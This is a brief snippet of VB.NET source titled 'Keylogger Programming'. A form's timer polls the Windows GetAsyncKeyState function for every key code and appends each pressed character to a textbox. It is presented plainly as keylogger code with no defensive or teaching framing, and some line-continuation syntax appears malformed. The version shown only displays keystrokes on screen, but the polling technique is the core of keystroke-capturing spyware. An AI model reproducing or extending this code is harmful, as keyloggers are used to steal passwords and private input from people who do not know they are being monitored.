Keylogger Programming

//Keylogger Programming//

Public Class Form6
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As_ Integer
Private Sub Form6_Load(ByVal sender As System.Object, ByVal e As_ System.EventArgs) Handles MyBase.Load
Timer1.Start()
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As_ System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
End Class